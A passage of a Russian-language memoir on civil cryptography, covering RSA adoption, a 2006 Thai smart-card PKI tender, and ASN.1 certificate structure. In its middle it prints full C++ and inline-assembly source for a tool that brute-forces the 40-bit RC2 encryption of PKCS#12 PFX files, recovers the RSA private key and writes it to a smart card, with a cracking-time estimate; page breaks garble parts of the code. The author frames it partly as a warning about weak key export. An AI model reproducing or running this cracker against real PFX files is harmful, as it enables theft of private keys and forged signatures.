высказано мнение, что такая длина может быть

криптографически безопасной еще только ближайшие три

четыре года. Два из них уже прошли, но пока по-прежнему длина

1024 бит не считается для RSA критической. Здесь, помимо

чисто криптографических методов анализа, еще, на мой взгляд,

надо учитывать то, что RSA является намного более

распространенным методом, чем EC, а следовательно,

привлекает к себе гораздо больше внимания криптографов -

- 51 -

аналитиков, чем EC. Хотя, по-видимому, требуемый уровень

безопасности в EC можно обеспечить при меньшей длине ключа,

чем в RSA. Но подходы к гражданской криптографии все-таки

сильно отличаются от криптографии военной: здесь в первую

очередь важны удобство и распространенность реализации, а

взлом – это весьма дорогостоящее мероприятие, которое вряд

ли стоит затевать, к примеру, для получения доступа к

банковскому счету обычного пользователя банка. Стоимость

такого взлома может оказаться намного больше, чем сумма

денег на счету пользователя.

Поскольку RSA получил широкое распространение, то

среди ведущих мировых производителей смарт-карт, таких как

GmbH, Gemplas, Infinion, Axalto началась гонка за завоевание

криптографических рынков с помощью чипов с полной

поддержкой RSA на уровне архитектуры процессора, т.е. на

уровне hardware. Под полной поддержкой во всем мире сразу же

стали понимать, что выработка и использование RSA ключей

должны осуществляться только внутри процессора смарт-карты,

а наружу (во внешнюю и более уязвленную память компьютера)

должен выдаваться только готовый результат зашифрования или

подписи. А время выработки случайного 1024-битного RSA

ключа внутри смарт карты было доведено до 10 – 20 секунд.

Эта гонка привела к тому, что гражданская криптография

стала проникать даже в те страны, где каких-нибудь 15-20 лет

назад о ней не имели ни малейшего представления. Алгоритм

простой: ничего сами не выдумываем, проводим открытый

конкурс и выбираем готовые криптографические решения. Как

правило, сначала закупается сертификационный центр, а затем

PKI, включающий в себя CSP и PKCS#11 для смарт-карт и,

естественно, сами смарт-карты с полной поддержкой RSA. Мне

за время пребывания в Корее один раз удалось принять участие

в таком конкурсе, который в 2006 году проводило правительство

Таиланда.

У тайцев к тому времени уже был собственный

сертификационный центр, теперь же они хотели добавить к нему

PKI с поддержкой смарт карт. Правительство Таиланда объявило

открытый конкурс, в котором в качестве одного из соискателей

приняла участие корейская компания HiSmarTech, входящая в

могущественный Samsung. Молодые ребята из этой компании

подготовили собственную Smart Card а к тому времени у меня

- 52 -

уже были готовы поддерживающие эту карту Smart Card CSP и

PKCS#11, поэтому HiSmarTech включила меня в свою команду

для участия в конкурсе в Таиланде. Что требуется от соискателя

– загадка. Интуитивно ясно, что PKI, точнее даже не сам PKI, а

совместимость моих CSP и PKCS#11 с готовыми тайскими PKI.

Первые тесты я делал для SCard CSP на тестовом

таиландском CA – вроде работают. Где-то в конце июня 2006

года – первая вылазка в Таиланд, посмотреть живьем на тайские

СА и понять, что им надо. Прилетели. Нас привезли в тайский

вычислительный центр, где стоит закупленный тайцами Baltimore

UniCERT Certificate Authority System. PKI использует PKCS#11,

наш PKCS#11 с ним глючит. Тот СА, который я тестировал в

Интернете, с этим не имеет ничего общего, за исключением того,

что тот и другой выдают сертификаты. В общем, первый блин

комом. Вылазка была, если мне сейчас не изменяет память, дня

на два, к концу второго дня мне удалось глюки выловить и

получить с этого сервера тестовый сертификат. Но это было, так

сказать, неофициальное выступление, основное участие в

конкурсе – benchmark test (по-русски - экзамен кандидатского

минимума) - состоялся недели через две.

К benchmark test ребята из HiSmarTech подготовились

основательно. Притащили в Бангкок здоровенную железяку –

машинку для проверки прочности пластиковых смарт карт. Она

несколько тысяч раз выгибала карточку в разных плоскостях и

давала наглядное подтверждение, что чип приклеен к карточке

надежно. А верховодила корейской командой девушка, которая

закончила в Москве режиссерский факультет института

кинематографии и неплохо говорила по-русски. В команду, кроме

нее входили «ребята –апплетписатели», т. е. те, кто

разрабатывал уровень software для карточки. Требованием

тайцев был полный цикл подготовки карточки, им надо было

показать, как апплет устанавливается в карточку, как

тестируется, инициализируется, и, естественно, как карточка

работает с криптографическими интерфейсами CSP и PKCS#11.

«Экзамен кандидатского минимума» принимали тайские

чиновники. У меня экзамен по криптографии принимал молодой

человек, чем-то похожий на Яшку-цыгана из фильма

«Неуловимые мстители». Стандартные тесты процедур

шифрования и подписи с помощью CSP (про PKCS#11 так и не

вспомнил, а я так переживал!)

- 53 -

и постоянные попытки вытащить карточку в момент подписи из

считывателя – чтобы убедиться, что все криптографические

процедуры реально выполняются внутри чипа карты. После

нескольких попыток проэкзаменовать меня по другим

криптографическим вопросам он как-то сник и безропотно ставил

плюсики в своем экзаменационном листе. Короче,

криптографическая часть этого кандидатского минимума была

выполнена быстрее всех. Я превратился в наблюдателя за

работой корейской зверь-машины по выламыванию чипа из

карточки, которая сколько ни старалась, так ничего и не смогла

сделать с упрямым чипом.

В общем, команда HiSmarTech выступила в Таиланде

довольно успешно. Тут же появились тайские спонсоры, готовые

поддержать корейцев в осваивании местного рынка. Вечером

они повели нас в известное в Бангкоке место – Beer Factory. Там

пиво пьют не литрами, а метрами: полуторамертовыми

пробирками, в каждую из которых входит около 5 литров пива.

- 54 -

К сожалению, в сентябре того же года в Таиланде произошел

военный переворот, и, по-видимому, правительству стало не до

смарт карт. Иначе России пришлось бы сейчас догонять по

гражданской криптографии не только Южную Корею, но и

Таиланд.

До сих пор так и нет в России ни RSA, ни полноценного Internet

Banking, ни открытых криптографических конкурсов. «Тот, кто

встроил RSA, тот проныра и лиса» - такое мнение бытует в ФСБ.

Зато наши эллиптические кривые ГОСТ Р 3410 такие, каких ни у

кого в мире нет (и карточек под них тоже практически нет), а RSA

– это происки зарубежной закулисы, в бессильной злобе

наблюдающей за тем, как Россия встает с колен!

 

 

 

- 55 -

Криптографическое мироздание

 

 

Все кандидаты наук моего поколения сдавали экзамен

кандидатского минимума по философии, поэтому склонны на

старости лет порассуждать о глобальных криптографических

проблемах, дать полетать своей фантазии по крайней мере в

облаках, а то и в околоземном космическом пространстве. Дело

хорошее, что ж не полетать за тридевять земель, главное потом

успешно приземлиться. Так что давайте совершим небольшое

путешествие по криптографической вселенной, называемой еще

мирозданием, а потом постараемся совершить мягкую посадку

за родной компьютер. Поехали!

 

В центре этой вселенной – ясно солнышко - алгоритм RSA.

Всякие там DH и EC – из другой галактики, мы к ним не полетим,

RSA теплее и светит во всем цивилизованном мире. А вокруг

RSA вращаются планеты: DES простой, 3DES – 112, 3DES -168,

AES, куча разных RC: 2, 4, 5. Эти планеты – алгоритмы

симметричного шифрования, без них, на одной солнечной

энергии, наш криптолет будет плестись как полудохлая кляча.

А вот и развилочка: по левую сторону от солнышка – другие

планетки: SHA - 1, 2 а из-за бугра еще и 3 выглядывает. И рядом

MD 2, 4, 5. Это смешарики-хешарики, они солнечную энергию в

ЭЦП превращают.

А для прикола возьмем с собой в полет кое-какую живность.

Собак брать не будем, возьмем обезьянок MAC и HMAC.

Самое интересное: космическое пространство, вакуум, а в нем

растут деревья! Только не простые, а ASN-деревья. С начала

освоения криптографической вселенной этих деревьев уже

повырастало огромное множество, целый ботанический сад, по

которому мы сейчас прогуляемся на своем криптолете.

Вот, например, уже известный нам сертификат – открытый ключ

со множеством нарядных атрибутов. Это, оказывается, тоже

ASN-дерево. Если говорить точнее, то ASN-деревом является

наиболее часто употребляемая форма представления

сертификата – X.509.

- 56 -

У меня сохранился старенький сертификат одного из корейских

банков – Korean Exchange Bank. Давайте немного полазаем по

его ASN-дереву.

- 57 -

Это начало ASN-дерева. Сравните его с «привычным»

представлением сертификата – все достаточно очевидно.

- 58 -

Только представление сертификата в виде ASN-дерева более

наглядно показывает принцип построения этого дерева: это

набор определенных параметров, каждый из которых имеет

свой персональный идентификатор – OBJECT_ID. Например,

название страны имеет идентификатор 2.5.4.6, название

организации – 2.5.4.10 и т.д. Если кто-то заинтересуется тем,

какие вообще существуют в мире идентификаторы и что

означают их цифры – милости прошу в OID Repository.

Отметим, что в этом дереве сначала идет информация

об издателе сертификата, т.е. о Certification Authority. Срок

действия сертификата и информация о его владельце –

следующий кусок дерева.

- 59 -

Тут, по-видимому, тоже не требуется особых пояснений –

сравните этот кусок дерева с привычной картинкой

сертификата

- 60 -

ASN - садоводство – интересная штука. Профессиональные

программисты наверняка подскажут несколько типовых

программ, предназначенных для построения таких деревьев и

«ухода» за ними. Меня же в Корее, при отсутствии привычной

россиянину летней дачи, охватила страсть выращивать

виртуальные ASN-деревья и ставить над ними всякие

эксперименты. К примеру, Microsoft не очень-то лояльно

относится к попыткам внести какие-то изменения в

имеющиеся на его сервере Windows Server 2003 шаблоны

сертификатов.

 

Открытый ключ находится в ASN-дереве вместе с

идентификатором своего алгоритма и состоит из двух частей:

модуля (первое INTEGER) и открытой экспоненты (второе

INTEGER). Признаюсь, что во всех RSA-ключах мне не

приходилось встречать открытой экспоненты, отличной от 01

00 01.

Не желая больше испытывать терпение читателя этой

скучной и нудной процедурой разбора всяких веточек и

листочков этого дерева, залезем сразу на его верхушку. А там

– подпись Удостоверяющего Центра, то, что придает этому

сертификату его юридическую значимость.

А вот дальше в этом дереве находится одна из самых главных

его частей – открытый ключ, для которого и выдан этот

сертификат.

- 61 -

Ну и бог с ним! Делаем проще: берем готовый сертификат,

выкидываем из него подпись Удостоверяющего Центра, всячески

издеваемся над оставшимся ASN-деревом: что-то подпиливаем,

что-то, наоборот, добавляем, потом подписываем заново на

ключе УЦ – готов изощренный сертификат! Вот такой у меня там

получился ASN-конструктор, приведенные выше картинки ASN

дерева – его продукция.  

Каких только ASN-деревьев не увидишь в

криптографическом пространстве! Тут и дерево подписи,

получаемое с помощью функции CryptSignMessage, и дерево

зашифрованного сообщения, получаемого с помощью

CryptEncryptMessage, и различные timestamp, и online certificate

status, и прочая, прочая, прочая… Читателей,

заинтересовавшихся всем этим ботаническим садом, мы,

пожалуй, отправим в самостоятельный полет, а всем

неулетевшим сейчас будут показаны некоторые простенькие

криптографические фокусы с одним ASN-деревом. Вот оно.

- 62 -

Это файл типа PFX, содержащий в зашифрованном виде

секретный асимметричный ключ и сертификат к нему.

Шифрование осуществляется с помощью ключа,

вырабатываемого из пароля пользователя, это так называемое

Password Based Encryption, описанное в PKCS#5. А OID

1.2.840.113549.1.12.1.6 означает PKCS #12 Password Based

Encryption With SHA-1 and 40-bit RC2-CBC, что в

криптографическом переводе на русский язык означает «туши

свет, бросай гранату», ибо даже малые дети знают, что 40

битовый шифр RC2 является нестойким. Легко и непринужденно

он вскрывается тотальной переборкой ключей, чем мы сейчас и

займемся с читателями-хакерами.

Исходник (Borland C++ 2007):

 

//---------------------------------------------------------------------------

 

#include <stdio.h>

#include <io.h>

#include <vcl.h>

#include <vcl\registry.hpp>

#include <vcl\dateutils.hpp>

#include <openssl/rsa.h>

#include <openssl/rc2.h>

#pragma hdrstop

 

#include "Unit1.h"

//---------------------------------------------------------------------------

#pragma package(smart_init)

#pragma link "CSPIN"

#pragma resource "*.dfm"

TForm1 *Form1;

extern "C" __declspec(dllimport) bool FindEncryptedPart(DATA_BLOB

*pbASN1,DWORD dwAlgID,DWORD *dwPos,DWORD *dwEncryptedLen,DWORD

*dwHashCklNum,char *iv);

extern "C" __declspec(dllimport) bool FillRSA(DATA_BLOB *pbASN1,RSA **rsa);

extern "C" __declspec(dllimport) bool FindX509Certificate(DATA_BLOB

*pbASN1,DWORD *dwPos,DWORD *dwCertLen);

extern "C" __declspec(dllimport) bool WriteRSAToSCard(char *SCardReader,RSA

*rsa,DATA_BLOB bCert,DWORD dwKeyType,unsigned char *PIN,bool bSilent);

PCCERT_CONTEXT pCertContext = NULL;

void MyRC2_set_key(unsigned char *key1);

 

- 63 -

static unsigned char key_table[256]={

0xd9,0x78,0xf9,0xc4,0x19,0xdd,0xb5,0xed,0x28,0xe9,0xfd,0x79,

0x4a,0xa0,0xd8,0x9d,0xc6,0x7e,0x37,0x83,0x2b,0x76,0x53,0x8e,

0x62,0x4c,0x64,0x88,0x44,0x8b,0xfb,0xa2,0x17,0x9a,0x59,0xf5,

0x87,0xb3,0x4f,0x13,0x61,0x45,0x6d,0x8d,0x09,0x81,0x7d,0x32,

0xbd,0x8f,0x40,0xeb,0x86,0xb7,0x7b,0x0b,0xf0,0x95,0x21,0x22,

0x5c,0x6b,0x4e,0x82,0x54,0xd6,0x65,0x93,0xce,0x60,0xb2,0x1c,

0x73,0x56,0xc0,0x14,0xa7,0x8c,0xf1,0xdc,0x12,0x75,0xca,0x1f,

0x3b,0xbe,0xe4,0xd1,0x42,0x3d,0xd4,0x30,0xa3,0x3c,0xb6,0x26,

0x6f,0xbf,0x0e,0xda,0x46,0x69,0x07,0x57,0x27,0xf2,0x1d,0x9b,

0xbc,0x94,0x43,0x03,0xf8,0x11,0xc7,0xf6,0x90,0xef,0x3e,0xe7,

0x06,0xc3,0xd5,0x2f,0xc8,0x66,0x1e,0xd7,0x08,0xe8,0xea,0xde,

0x80,0x52,0xee,0xf7,0x84,0xaa,0x72,0xac,0x35,0x4d,0x6a,0x2a,

0x96,0x1a,0xd2,0x71,0x5a,0x15,0x49,0x74,0x4b,0x9f,0xd0,0x5e,

0x04,0x18,0xa4,0xec,0xc2,0xe0,0x41,0x6e,0x0f,0x51,0xcb,0xcc,

0x24,0x91,0xaf,0x50,0xa1,0xf4,0x70,0x39,0x99,0x7c,0x3a,0x85,

0x23,0xb8,0xb4,0x7a,0xfc,0x02,0x36,0x5b,0x25,0x55,0x97,0x31,

0x2d,0x5d,0xfa,0x98,0xe3,0x8a,0x92,0xae,0x05,0xdf,0x29,0x10,

0x67,0x6c,0xba,0xc9,0xd3,0x00,0xe6,0xcf,0xe1,0x9e,0xa8,0x2c,

0x63,0x16,0x01,0x3f,0x58,0xe2,0x89,0xa9,0x0d,0x38,0x34,0x1b,

0xab,0x33,0xff,0xb0,0xbb,0x48,0x0c,0x5f,0xb9,0xb1,0xcd,0x2e,

0xc5,0xf3,0xdb,0x47,0xe5,0xa5,0x9c,0x77,0x0a,0xa6,0x20,0x68,

0xfe,0x7f,0xc1,0xad,

};

 

 

 

//---------------------------------------------------------------------------

__fastcall TForm1::TForm1(TComponent* Owner)

: TForm(Owner)

{

}

//---------------------------------------------------------------------------

 

void __fastcall TForm1::Button1Click(TObject *Sender)

{

if(OpenDialog1->Execute() != IDOK)return;

Edit1->Text = OpenDialog1->FileName;

}

//---------------------------------------------------------------------------

 

void __fastcall TForm1::FormCreate(TObject *Sender)

{

TRegistry * Reg;

unsigned char SessKey[5];

char buff[256];

 

memset(SessKey,0,5);

memset(buff,0,256);

Reg = new TRegistry();

- 64 -

Reg->RootKey = HKEY_CURRENT_USER;

if(Reg->OpenKey("Software\\Nets\\RC2Crack",false)){

if(Reg->ValueExists("SessKey"))Reg->ReadBinaryData("SessKey",SessKey,5);

Reg->CloseKey();

}

 

for(int i=0;i<5;i++)sprintf(buff+strlen(buff),"%02X ",(unsigned char)SessKey[i]);

 

Edit2->Text = buff;

}

//---------------------------------------------------------------------------

void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)

{

TRegistry * Reg;

unsigned char SessKey[5];

char buff[256];

int i,j;

 

strcpy(buff,Edit2->Text.c_str());

 

for(i=0;i<5;i++){

sscanf(buff+i*3,"%02X ",&j);

SessKey[i] = (unsigned char)j;

}

 

 

memset(SessKey,0,5);

memset(buff,0,256);

Reg = new TRegistry();

Reg->RootKey = HKEY_CURRENT_USER;

if(Reg->OpenKey("Software\\Nets\\RC2Crack",false)){

if(Reg->ValueExists("SessKey"))Reg->ReadBinaryData("SessKey",SessKey,5);

Reg->CloseKey();

}

 

}

//---------------------------------------------------------------------------

void __fastcall TForm1::BitBtn2Click(TObject *Sender)

{

FILE *fl = NULL;

DATA_BLOB bPFX = {0,NULL};

DATA_BLOB bEncryptedPart = {0,NULL};

char pStrOID[MAX_OID_LEN];

DWORD dwPos=0,dwEncryptedLen=0,dwHashCklNum=0,dwCertLen;

char iv[8];

RSA *rsa = NULL;

DWORD dwKeyType;

CERT_EXTENSION CertExt;

int i;

DATA_BLOB bCert;

- 65 -

char SCardReader[256];

 

 

memset(SCardReader,0,256);

if((fl=fopen(Edit1->Text.c_str(),"rb"))==NULL)goto stop;

bPFX.cbData = filelength(fileno(fl));

 

if((bPFX.pbData = (char *)malloc(bPFX.cbData))==NULL)goto stop;

if(fread(bPFX.pbData,1,bPFX.cbData,fl)!=bPFX.cbData)goto stop;

fclose(fl);

fl=NULL;

 

dwPos = 0;

if(

FindEncryptedPart(&bPFX,CALG_RC2,&dwPos,&bEncryptedPart.cbData,&dwHashCklN

m,iv))goto stop;

bEncryptedPart.pbData = bPFX.pbData + dwPos;

if(!CrackEncryptedPart(&bEncryptedPart))goto stop;

if(rsa==NULL){

if(!FillRSA(&bEncryptedPart,&rsa))goto stop;

}

if(!FindX509Certificate(&bEncryptedPart,&dwPos,&dwCertLen))goto stop;

bCert.pbData = bEncryptedPart.pbData + dwPos;

bCert.cbData = dwCertLen;

if(pCertContext != NULL)CertFreeCertificateContext(pCertContext);

pCertContext = CertCreateCertificateContext(X509_ASN_ENCODING |

PKCS_7_ASN_ENCODING,bCert.pbData,bCert.cbData);

if(pCertContext == NULL)goto stop;

for(i=0;i<pCertContext->pCertInfo->cExtension;i++){

CertExt = pCertContext->pCertInfo->rgExtension[i];

if(strcmp(CertExt.pszObjId,"2.5.29.15")==0)break;

}

if((unsigned char)CertExt.Value.pbData[3] == 0xA0)dwKeyType =

AT_KEYEXCHANGE;

else dwKeyType = AT_SIGNATURE;

 

if(!WriteRSAToSCard(SCardReader,rsa,bCert,dwKeyType,NULL,false))goto stop;

MessageBox(0,((AnsiString)"File " + Edit1->Text + " was cracked to Smart Card

successfully").c_str(),"SUCCESS",MB_OK);

goto stop_ok;

 

 

stop:

MessageBox(0,((AnsiString)"Some errors occured during crack file " + Edit1

>Text).c_str(),"ERROR",MB_ICONERROR | MB_OK);

stop_ok:

if(rsa != NULL)RSA_free(rsa);

if(bPFX.pbData != NULL)free(bPFX.pbData);

if(fl!=NULL)fclose(fl);

 

}

- 66 -

//---------------------------------------------------------------------------

void __fastcall TForm1::UpdateInfo(unsigned char *SessKey,bool bReg)

{

TRegistry * Reg;

int i;

char buff[256];

 

buff[0]=0;

if(bReg){

Reg = new TRegistry();

Reg->RootKey = HKEY_CURRENT_USER;

if(Reg->OpenKey("Software\\Nets\\RC2Crack",true)){

Reg->WriteBinaryData("SessKey",SessKey,5);

Reg->CloseKey();

}

delete Reg;

}

 

for(i=0;i<5;i++)sprintf(buff+strlen(buff),"%02X ",(unsigned char)SessKey[i]);

Edit2->Text = buff;

Update();

}

 

bool __fastcall TForm1::CrackEncryptedPart(DATA_BLOB *bEncryptedPart)

{

unsigned char i,n;

RC2_INT *p0,*p1;

RC2_INT x0,x1,x2,x3,t;

RC2_INT x0_0,x1_0,x2_0,x3_0;

register WORD wx0,wx1,wx2,wx3,wt;

WORD wx0_0,wx1_0,wx2_0,wx3_0,wst0,wst1,wst2,wst3;

unsigned long l;

register unsigned char i1;

 

HCRYPTPROV hProv = NULL;

HCRYPTKEY hSessKey=NULL;

HCRYPTHASH hHash=NULL;

TRegistry * Reg;

bool ret = false;

unsigned char SessKey[5];

char res[8];

unsigned long d_res2[2];

unsigned long d1[2];

unsigned long d2[2];

unsigned long iv1,iv2;

unsigned long *sk;

unsigned long sk1;

DATA_BLOB bBlob;

char buff[256];

int j;

- 67 -

RC2_KEY key;

WORD key1[64];

DWORD dwFlags = (40<<16) | CRYPT_RECIPIENT;

DWORD st1,st2;

register d_1,d_2;

TDateTime *t1,*t2,*t3,*t4,*t5;

bool bTestTime = false;

 

Label1->Visible = false;

strcpy(buff,Edit2->Text.c_str());

Panel3->Caption = "";

 

for(i=0;i<5;i++){

sscanf(buff+i*3,"%02X ",&j);

SessKey[i] = (unsigned char)j;

}

 

 

 

 

bBlob.cbData = bEncryptedPart->cbData;

bBlob.pbData = bEncryptedPart->pbData;

 

res[0] = 0x06;

res[1] = 0x0B;

res[2] = 0x2A;

res[3] = 0x86;

res[4] = 0x48;

res[5] = 0x86;

res[6] = 0xF7;

res[7] = 0x0D;

 

memcpy(&d_res2[0],res,4);

memcpy(&d_res2[1],res+4,4);

 

memcpy(&d1[0],bBlob.pbData,4);

memcpy(&d1[1],bBlob.pbData+4,4);

 

iv1 = d1[0]^d_res2[0];

iv2 = d1[1]^d_res2[1];

 

memcpy(&d2[0],bBlob.pbData+8,4);

memcpy(&d2[1],bBlob.pbData+12,4);

(unsigned char *)sk = SessKey;

memcpy(&st1,bBlob.pbData+8,4);

memcpy(&st2,bBlob.pbData+12,4);

memcpy(&wst0,bBlob.pbData+8,2);

memcpy(&wst1,bBlob.pbData+10,2);

memcpy(&wst2,bBlob.pbData+12,2);

memcpy(&wst3,bBlob.pbData+14,2);

- 68 -

x0_0=0;

x1_0=0;

x2_0=0;

x3_0=0;

 

memcpy(&x0_0,&iv1,2);

memcpy(&x1_0,((char *)(&iv1))+2,2);

memcpy(&x2_0,&iv2,2);

memcpy(&x3_0,((char *)(&iv2))+2,2);

memcpy(&wx0_0,&iv1,2);

memcpy(&wx1_0,((char *)(&iv1))+2,2);

memcpy(&wx2_0,&iv2,2);

memcpy(&wx3_0,((char *)(&iv2))+2,2);

 

x0=0;

x1=0;

x2=0;

x3=0;

wx0=0;

wx1=0;

wx2=0;

wx3=0;

goto tryagain1;

 

tryagain:

(*sk)++;

 

if(!(*sk)){

UpdateInfo(SessKey,true);

SessKey[4]++;

}

tryagain1:

 

if(((WORD)(*sk))==0){

if((unsigned char)SessKey[2] == 0){

if(Panel3->Caption == "" && !bTestTime){

t1 = new TTime();

*t1=t1->CurrentTime();

}

if(Panel3->Caption == "" && bTestTime){

t5 = new TDateTime();

t2 = new TTime();

*t2=t2->CurrentTime();

t3 = new TDateTime(t2->Val - t1->Val);

Panel3->Caption = (AnsiString)"Crack item time: " +

IntToStr(SecondsBetween(*t3,*t5)) + " sec.";

t4 = new TDateTime(t3->Val*256*256);

Panel4->Caption = (AnsiString)"Total crack time : " +

IntToStr(DaysBetween(*t4,*t5)) + " days (" + IntToStr(HoursBetween(*t4,*t5)) + " hours)";

- 69 -

delete t1;

delete t2;

delete t3;

delete t4;

delete t5;

Update();

}

bTestTime = true;

UpdateInfo(SessKey,true);

}

else UpdateInfo(SessKey,false);

 

}

 

memcpy(key1,SessKey,5);

MyRC2_set_key((unsigned char *)key1);

// Very important Debug mode!!!

// Not worked without Debug mode!!!

asm{

xor ecx,ecx

mov cl,63

mov edi,ecx

mov cl,5

mov ch,3

mov ax,wst3

shl eax,16

mov ax,wst2

mov bx,wst1

shl ebx,16

mov bx,wst0

ckl1:

mov edx,eax

shr edx,16

mov si,dx

shl dx,11 //wx3<<11

shr si,5 //wx3>>5

or dx,si //wt

 

mov esi,ebx

shr esi,16

and si,ax

sub dx,si //wt=wt-(wx1&wx2)

 

mov si,ax

not si

and si,bx

sub dx,si //wt=wt-(wx0&~wx2)

sub dx,[ebp+edi*2-0x3e4]//wx3

dec di

 

- 70 -

shl edx,16

add dx,ax //dx=wx2

mov eax,edx

 

mov si,dx

shl dx,13

shr si,3

or dx,si

 

mov esi,ebx

shr esi,16

and si,bx

sub dx,si //wt=wt-(wx0&wx1)

 

mov esi,ebx

not esi

and esi,eax

shr esi,16

sub dx,si //wt=wt-(wx3&~wx1)

sub dx,[ebp+edi*2-0x3e4]//wx2

dec di

mov ax,dx

 

mov edx,ebx

shr edx,16

mov si,dx

shl dx,14 //wx1<<14

shr si,2 //wx1>>2

or dx,si //wt

 

mov esi,eax

shr esi,16

and si,bx

sub dx,si //wt=wt-(wx3&wx0)

 

mov si,bx

not si

and si,ax

sub dx,si //wt=wt-(wx2&~wx0)

sub dx,[ebp+edi*2-0x3e4]//wx1

dec di

 

shl edx,16

add dx,bx //dx=wx0

mov ebx,edx

 

mov si,dx

shl dx,15

shr si,1

or dx,si

- 71 -

mov esi,eax

shr esi,16

and si,ax

sub dx,si //wt=wt-(wx2&wx3)

 

mov esi,eax

not esi

and esi,ebx

shr esi,16

sub dx,si //wt=wt-(wx3&~wx1)

sub dx,[ebp+edi*2-0x3e4]//wx2

dec di

mov bx,dx

 

 

 

dec cl //i

jnz ckl1

dec ch //n

jz end

 

mov edx,eax

shr edx,16

xor esi,esi

mov si,ax

and si,0x3f

sub dx,[ebp+esi*2-0x3e4]

 

mov esi,ebx

shr esi,16

and si,0x3f

sub ax,[ebp+esi*2-0x3e4]

shl edx,16

add dx,ax

mov eax,edx

 

mov edx,ebx

shr edx,16

xor esi,esi

mov si,bx

and si,0x3f

sub dx,[ebp+esi*2-0x3e4]

 

mov esi,eax

shr esi,16

and si,0x3f

sub bx,[ebp+esi*2-0x3e4]

shl edx,16

add dx,bx

mov ebx,edx

- 72 -

cmp ch,2

jz n2

mov cl,5

jmp ckl1

n2:

mov cl,6

jmp ckl1

 

end:

 

cmp eax,iv2

jne tryagain;

cmp ebx,iv1

jne tryagain;

}

 

 

 

success:

UpdateInfo(SessKey,true);

Label1->Visible = true;

if(!CryptAcquireContext(&hProv,NULL,"NETS IDSafe

CSP",PROV_RSA_FULL,CRYPT_VERIFYCONTEXT))goto stop;

if(!CryptCreateHash(hProv,CALG_SHA1,0,0,&hHash))goto stop;

if(!CryptDeriveKey(hProv,CALG_RC2,hHash,dwFlags,&hSessKey))goto stop;

if(!CryptDestroyHash(hHash))goto stop;

hHash = NULL;

 

if(!CryptSetKeyParam(hSessKey,KP_KEYVAL,SessKey,0))goto stop;

if(!CryptSetKeyParam(hSessKey,KP_IV,bBlob.pbData,0))goto stop;

bBlob.cbData-=8;

if(!CryptDecrypt(hSessKey,NULL,true,0,bBlob.pbData+8,&bBlob.cbData)){

MessageBox(0,"Crack uncorrect crack","ERROR",MB_ICONERROR | MB_OK);

goto stop;

 

}

(*bEncryptedPart).cbData = bBlob.cbData;

(*bEncryptedPart).pbData = bBlob.pbData+8;

ret = true;

stop:

if(hProv!=NULL){

if(hHash!=NULL)CryptDestroyHash(hHash);

if(hSessKey!=NULL)CryptDestroyKey(hSessKey);

CryptReleaseContext(hProv,0);

}

return(ret);

}

 

 

void MyRC2_set_key(unsigned char *key1)

- 73 -

{

unsigned char *kt = key_table;

asm{

mov esi,[ebp+0x08] // key1

mov edi,[ebp-0x04] // key_table

xor eax,eax // j1=0;

xor ecx,ecx // result1;

mov ebx,5 // i1=5;

ckl1:

mov cl,[esi+eax]

mov dl,[esi+ebx-1]

add cl,dl

mov dl,[edi+ecx]

mov [esi+ebx],dl

inc eax

inc ebx

cmp ebx,128

jl ckl1

mov eax,123

mov cl,[esi+123]

mov dl,[edi+ecx]

mov [esi+123],dl

dec eax

ckl2:

mov bl,[esi+eax+1]

mov cl,[esi+eax+5]

xor cl,bl

mov dl,[edi+ecx]

mov [esi+eax],dl

dec eax

test al,al

jne ckl2;

mov bl,[esi+1]

mov cl,[esi+5]

xor cl,bl

mov dl,[edi+ecx]

mov [esi],dl

 

}

 

}

 

- 74 -

Трудоемкость взлома на обычном компьютере:

 

Прекрасно распараллеливается. Имея, например, 10

компьютеров и запустив их в пятницу вечером на взлом,

расшифрованный секретный ключ можно получить примерно

через 2 дня, т.е. в понедельник утром.

 

Если в системе Internet-Banking имеется функция экспорта

импорта секретного ключа в файл PFX, то я советую вам

поинтересоваться, какому алгоритму шифрования вы будете

доверять защиту вашего ключа.

 

- 75 -

Назад в будущее

 

 

Все шесть с лишним лет моего пребывания в Корее меня не

покидало ощущение того, что я попал в СССР конца

шестидесятых годов. Напомню современным читателям то

время.

Сравнительно недавно закончилась Великая Отечественная

Война. Многие фронтовики еще полны сил и здоровья, эти люди,

прошедшие сквозь неимоверно тяжелые испытания, определяют

моральный климат в стране. Победа, доставшаяся ценой

огромных потерь, выдвинула на первый план все лучшие

качества наших людей. Технари, физики, инженеры – уважаемые

люди. Легких нефтяных денег еще нет, нефтяного чиновничьего

разврата – тоже.

 

Как мне кажется, отношения людей к правительству и

правительства к людям в СССР в 60-е годы и в современной

Корее были во многом схожи. Корейцы сами, за счет своей

дисциплинированности и работоспособности, построили в своей

стране современную экономику, подняли уровень жизни народа,

завоевали уважение и признание во всем мире. Но ведь и в

СССР в 60-е годы было много схожих черт: советский народ сам

восстановил свою страну после войны, поднял уровень жизни,

создал ядерное оружие и космические ракеты и тоже был

уважаем в то время во многих странах мира. До тех пор пока не

появилась нефтяная халява…

 

Как тут не вспомнить философские истины, которые нам,

советским студентам, вдалбливали все время: бытие определяет

сознание, производственные отношения развиваются вслед за

производительными силами, конфликт между

производительными силами и производственными отношениями

приводит к революции и прочая, прочая, прочая… А если

перевести всю эту науку на простой и понятный язык, то, на мой

взгляд, получилось вот что. До конца 60-х годов те, кто управлял

СССР, зависели от своего народа, от результатов его труда, от

наличия в СССР современных технологий, от того, как люди,

создающие материальные блага, относятся к своему

- 76 -

правительству. Вспомним Великую Отечественную Войну и тех,

кто создавал и выпускал танки и самолеты, пушки и «катюши»,

патроны и снаряды. Была ли тогда возможна коррупция на

уровне Бангладеш, Кении и Сирии? Если немного вульгарно

подойти к марксистско-ленинской философии в СССР и под

производительными силами понимать то, что непосредственно

связано с производством: заводы, фабрики, конструкторские

бюро, научно-исследовательские институты и т.п., а под

производственными отношениями – коммунистическую партию и

советское правительство, то до конца 60-х годов

производственные отношения объективно были заинтересованы

в том, чтобы производительные силы были современными и

работоспособными. Как это у них получалось – другой вопрос.

И вот – открытие нефтяных месторождений в Сибири в конце 60

х годов, и, как следствие, появление легких нефтедолларов. Да

гори они синим пламенем, эти заботы о производительных

силах, производственным отношениям и нефтедолларов вполне

хватает! Нефтедоллары стали определять сознание! И

понеслось… В 70-е проспали научно-техническую революцию,

компьютеризацию, мировую интеграцию в экономике, зато

появился очередной культ: дорогой и любимый товарищ Леонид

Ильич Брежнев. Ведь марксизм учил, что конфликт между

производительными силами и производственными отношениями

может привести к революции. Но это было очень давно, еще до

появления телевидения и других средств массовой информации.

А в 70-е годы Карла Маркса подправили: может и не привести,

